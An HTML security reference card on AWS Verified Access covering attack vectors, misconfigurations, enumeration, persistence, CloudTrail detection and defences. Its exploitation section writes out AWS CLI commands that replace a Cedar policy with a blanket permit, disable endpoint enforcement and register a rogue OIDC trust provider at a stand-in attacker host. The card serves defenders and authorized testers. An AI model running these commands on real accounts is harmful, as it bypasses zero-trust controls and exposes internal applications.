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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AWS Verified Access Security | AWS Security Cards</title>
<meta name="description" content="AWS Verified Access provides secure access to corporate applications without requiring a VPN, evaluating each access request against Cedar policies.">
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</style>
</head>
<body>
<!-- Card Image -->
<div class="card-image">
<img src="../images/verifiedaccess-card.webp" alt="AWS Verified Access Security" />
</div>
<!-- Header -->
<div class="header">
<div class="header-content">
<div class="header-icon"><img src="../icons/verifiedaccess.svg" alt="AWS Verified Access Security" /></div>
<div>
<div>
<span class="header-title">AWS Verified Access Security</span>
<span class="header-badge">NETWORKING</span>
</div>
<p class="header-desc">AWS Verified Access provides secure access to corporate applications without requiring a VPN. It evaluates each access request in real time against Cedar policies using identity and device posture data from configured trust providers. Compromising it means bypassing zero-trust enforcement entirely.</p>
</div>
</div>
</div>
<!-- Stats -->
<div class="stats-row">
<div class="stat-card">
<div class="stat-value" style="color: #f59e0b;">MEDIUM</div>
<div class="stat-label">Risk Level</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #4ade80;">Regional</div>
<div class="stat-label">Scope</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #60a5fa;">Cedar</div>
<div class="stat-label">Policy Language</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #c084fc;">RBAC + ABAC</div>
<div class="stat-label">Auth Model</div>
</div></div>
<!-- Overview -->
<div class="section"><h2><span style="color:#3b82f6;">📋</span> Service Overview</h2><div class="overview-grid">
<div>
<h4 style="color: #3b82f6;">Core Components</h4>
<p>Verified Access Instance (top-level resource), Trust Providers (identity + device posture), Groups (collections of endpoints sharing a policy), and Endpoints (individual applications). Uses Cedar policy language.</p>
<div class="attack-note"><span style="color:#3b82f6;">Attack note:</span> An attacker who can modify group or endpoint policies, or attach a trust provider they control, can grant themselves access to every protected application.</div>
</div>
<div>
<h4 style="color: #3b82f6;">Cedar Policies and Trust Providers</h4>
<p>Cedar policies default to implicit deny. Group-level policies are inherited by all endpoints. One identity trust provider (IAM Identity Center or OIDC) and multiple device trust providers (CrowdStrike, Jamf, JumpCloud) per instance.</p>
<div class="attack-note"><span style="color:#3b82f6;">Attack note:</span> An overly broad permit statement at the group level with no endpoint-level restrictions grants access to all endpoints in that group.</div>
</div></div></div>
<!-- Risk Assessment -->
<div class="section">
<h2>Security Risk Assessment</h2>
<div class="risk-gauge">
<div class="risk-bar-container">
<div class="risk-bar">
<div class="risk-bar-fill" style="width: 65%;"></div>
</div>
<div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
</div>
<div class="risk-score">
<div class="risk-score-value">6.5</div>
<div class="risk-score-label">Risk Score</div>
</div>
</div>
<p class="risk-desc">Verified Access is a protective control, not a data store. The primary risk is misconfiguration that weakens or bypasses access enforcement. Compromise of the trust provider or overly permissive Cedar policies can expose all protected applications.</p>
</div>
<!-- Main Panels -->
<div class="panels-grid">
<div class="panel" style="border-color: #f8717133;">
<h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Trust Provider Abuse</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Compromise OIDC identity provider to issue valid tokens</li><li><span class="bullet" style="color: #f87171;">•</span> Register a rogue device trust provider</li><li><span class="bullet" style="color: #f87171;">•</span> Exploit misconfigured OIDC scopes or claims</li><li><span class="bullet" style="color: #f87171;">•</span> Steal or replay user session tokens</li><li><span class="bullet" style="color: #f87171;">•</span> Target IdP admin console to add attacker users</li></ul><h4 style="color: #f87171;">Policy & Config Manipulation</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Modify group policy to blanket permit statement</li><li><span class="bullet" style="color: #f87171;">•</span> Disable policy on endpoint (--no-policy-enabled)</li><li><span class="bullet" style="color: #f87171;">•</span> Create new endpoint in permissive group</li><li><span class="bullet" style="color: #f87171;">•</span> Attach attacker-controlled trust provider</li><li><span class="bullet" style="color: #f87171;">•</span> Delete endpoint to force less secure fallback</li></ul></div>
<div class="panel" style="border-color: #fb923c33;">
<h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Policy Weaknesses</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Group policy uses permit(principal, action, resource) with no conditions</li><li><span class="bullet" style="color: #fb923c;">•</span> Endpoint policy not enabled (PolicyEnabled: false)</li><li><span class="bullet" style="color: #fb923c;">•</span> Cedar policy checks identity but ignores device posture</li><li><span class="bullet" style="color: #fb923c;">•</span> Policy references nonexistent trust provider context key</li><li><span class="bullet" style="color: #fb923c;">•</span> No endpoint-level policy refinement</li></ul><h4 style="color: #fb923c;">Operational Gaps</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Access logging not enabled on instance</li><li><span class="bullet" style="color: #fb923c;">•</span> Trust provider not validated (misconfigured OIDC URL)</li><li><span class="bullet" style="color: #fb923c;">•</span> No device trust provider attached</li><li><span class="bullet" style="color: #fb923c;">•</span> Instance has no tags or naming convention</li><li><span class="bullet" style="color: #fb923c;">•</span> Endpoints exposed to broader network than intended</li></ul></div>
<div class="panel" style="border-color: #22d3ee33;">
<h3 style="color: #22d3ee;">🔍 Enumeration</h3><div class="cmd-block">
<div class="cmd-title">List Verified Access Instances</div>
<pre><code>aws ec2 describe-verified-access-instances</code></pre>
</div><div class="cmd-block">
<div class="cmd-title">List Trust Providers</div>
<pre><code>aws ec2 describe-verified-access-trust-providers</code></pre>
</div><div class="cmd-block">
<div class="cmd-title">List Verified Access Groups</div>
<pre><code>aws ec2 describe-verified-access-groups</code></pre>
</div><div class="cmd-block">
<div class="cmd-title">Get Group Policy (Cedar)</div>
<pre><code>aws ec2 get-verified-access-group-policy \
--verified-access-group-id vagr-0dbe967baf14b7235</code></pre>
</div><div class="cmd-block">
<div class="cmd-title">Check Logging Configuration</div>
<pre><code>aws ec2 describe-verified-access-instance-logging-configurations \
--verified-access-instance-ids vai-0ce000c0b7643abea</code></pre>
</div></div>
<div class="panel" style="border-color: #c084fc33;">
<h3 style="color: #c084fc;">📈 Privilege Escalation</h3><h4 style="color: #c084fc;">Policy Escalation</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> ModifyVerifiedAccessGroupPolicy to blanket permit</li><li><span class="bullet" style="color: #c084fc;">•</span> ModifyVerifiedAccessEndpointPolicy to disable enforcement</li><li><span class="bullet" style="color: #c084fc;">•</span> CreateVerifiedAccessEndpoint for sensitive internal resources</li><li><span class="bullet" style="color: #c084fc;">•</span> AttachVerifiedAccessTrustProvider (attacker-controlled)</li><li><span class="bullet" style="color: #c084fc;">•</span> CreateVerifiedAccessTrustProvider with rogue OIDC issuer</li></ul><div class="note"><strong>Key insight:</strong> Verified Access itself is not a path to IAM privilege escalation. However, modifying policies grants access to all protected internal applications.</div></div>
<div class="panel" style="border-color: #facc1533;">
<h3 style="color: #facc15;">🔗 Persistence</h3><h4 style="color: #facc15;">Access Bypass</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Replace Cedar group policy with blanket permit</li><li><span class="bullet" style="color: #facc15;">•</span> Disable endpoint-level policy enforcement</li><li><span class="bullet" style="color: #facc15;">•</span> Attach attacker-controlled trust provider</li><li><span class="bullet" style="color: #facc15;">•</span> Create endpoints in permissive groups</li><li><span class="bullet" style="color: #facc15;">•</span> Modify instance descriptions to obscure audit trail</li></ul><h4 style="color: #facc15;">Maintaining Access</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Generate fabricated device posture data</li><li><span class="bullet" style="color: #facc15;">•</span> Exploit OIDC token issuance from compromised IdP</li><li><span class="bullet" style="color: #facc15;">•</span> Create new endpoints pointing to internal resources</li><li><span class="bullet" style="color: #facc15;">•</span> Keep access logging disabled</li><li><span class="bullet" style="color: #facc15;">•</span> Modify trust provider to accept broader claims</li></ul></div>
<div class="panel" style="border-color: #4ade8033;">
<h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">High-Impact CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> ModifyVerifiedAccessGroupPolicy - policy changed</li><li><span class="bullet" style="color: #4ade80;">•</span> ModifyVerifiedAccessEndpointPolicy - endpoint policy changed</li><li><span class="bullet" style="color: #4ade80;">•</span> CreateVerifiedAccessTrustProvider - new trust provider</li><li><span class="bullet" style="color: #4ade80;">•</span> AttachVerifiedAccessTrustProvider - provider attached</li><li><span class="bullet" style="color: #4ade80;">•</span> DeleteVerifiedAccessEndpoint - endpoint removed</li></ul><h4 style="color: #4ade80;">Access Log Indicators</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> Access from unexpected IP addresses</li><li><span class="bullet" style="color: #4ade80;">•</span> Failed policy evaluations from new principals</li><li><span class="bullet" style="color: #4ade80;">•</span> Successful access without device posture context</li><li><span class="bullet" style="color: #4ade80;">•</span> Bulk endpoint creation or modification</li><li><span class="bullet" style="color: #4ade80;">•</span> Trust provider configuration changes</li></ul></div></div>
<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">💻</span> Exploitation Commands</h2><div class="cmd-grid"><div class="cmd-block">
<div class="cmd-title">Replace Group Policy with Blanket Permit</div>
<pre><code>aws ec2 modify-verified-access-group-policy \
--verified-access-group-id vagr-XXXXX \
--policy-enabled \
--policy-document "permit(principal, action, resource);"</code></pre>
</div><div class="cmd-block">
<div class="cmd-title">Disable Endpoint Policy</div>
<pre><code>aws ec2 modify-verified-access-endpoint-policy \
--verified-access-endpoint-id vae-XXXXX \
--no-policy-enabled</code></pre>
</div><div class="cmd-block">
<div class="cmd-title">Create Rogue Trust Provider</div>
<pre><code>aws ec2 create-verified-access-trust-provider \
--trust-provider-type user \
--user-trust-provider-type oidc \
--oidc-options Issuer=https://attacker.example.com,AuthorizationEndpoint=...,TokenEndpoint=...</code></pre>
</div><div class="cmd-block">
<div class="cmd-title">Attach Trust Provider to Instance</div>
<pre><code>aws ec2 attach-verified-access-trust-provider \
--verified-access-instance-id vai-XXXXX \
--verified-access-trust-provider-id vatp-XXXXX</code></pre>
</div></div></div>
<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">📜</span> Policy Examples</h2><div class="policy-grid"><div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Unrestricted Policy Modification</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": [
"ec2:ModifyVerifiedAccessGroupPolicy",
"ec2:ModifyVerifiedAccessEndpointPolicy",
"ec2:CreateVerifiedAccessTrustProvider"
],
"Resource": "*"
}</code></pre>
<p class="policy-desc">Grants unrestricted ability to rewrite Cedar policies and attach arbitrary trust providers</p>
</div><div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Read-Only Auditor</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": [
"ec2:DescribeVerifiedAccessInstances",
"ec2:DescribeVerifiedAccessGroups",
"ec2:DescribeVerifiedAccessEndpoints",
"ec2:GetVerifiedAccessGroupPolicy"
],
"Resource": "*"
}</code></pre>
<p class="policy-desc">Permits enumeration and policy review without ability to modify access controls</p>
</div></div></div>
<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">🛡️</span> Defense Recommendations</h2><div class="defense-grid"><div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📝</span>
<div>
<h4>Enable Access Logging on Every Instance</h4>
<p>Send Verified Access logs to CloudWatch Logs, S3, or Kinesis Data Firehose for audit.</p>
<pre><code>aws ec2 modify-verified-access-instance-logging-configuration \
--verified-access-instance-id vai-XXXXX \
--access-logs S3={Enabled=true,BucketName=my-va-logs-bucket}</code></pre>
</div>
</div>
</div><div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📱</span>
<div>
<h4>Attach Both Identity and Device Trust Providers</h4>
<p>Never rely on identity alone. Attach at least one device trust provider (CrowdStrike, Jamf, JumpCloud) for device posture checks.</p>
</div>
</div>
</div><div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📜</span>
<div>
<h4>Write Restrictive Cedar Policies</h4>
<p>Use group-level policies for broad requirements and endpoint-level policies for application-specific conditions.</p>
</div>
</div>
</div><div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔒</span>
<div>
<h4>Restrict IAM Permissions for Modification</h4>
<p>Limit ec2:ModifyVerifiedAccess*, ec2:CreateVerifiedAccess*, and ec2:AttachVerifiedAccessTrustProvider to administrators.</p>
</div>
</div>
</div><div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔍</span>
<div>
<h4>Monitor CloudTrail for Policy Changes</h4>
<p>Alert on ModifyVerifiedAccessGroupPolicy, CreateVerifiedAccessTrustProvider, and DeleteVerifiedAccessEndpoint.</p>
</div>
</div>
</div><div class="defense-card">
<div class="defense-header">
<span class="defense-icon">✅</span>
<div>
<h4>Validate Trust Provider Configuration</h4>
<p>Audit OIDC issuer URL, client ID, and scopes on identity trust providers regularly.</p>
</div>
</div>
</div></div></div>
<!-- Footer -->
<div class="footer">
<p>AWS Verified Access Security Security Card</p>
<p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>
</body>
</html>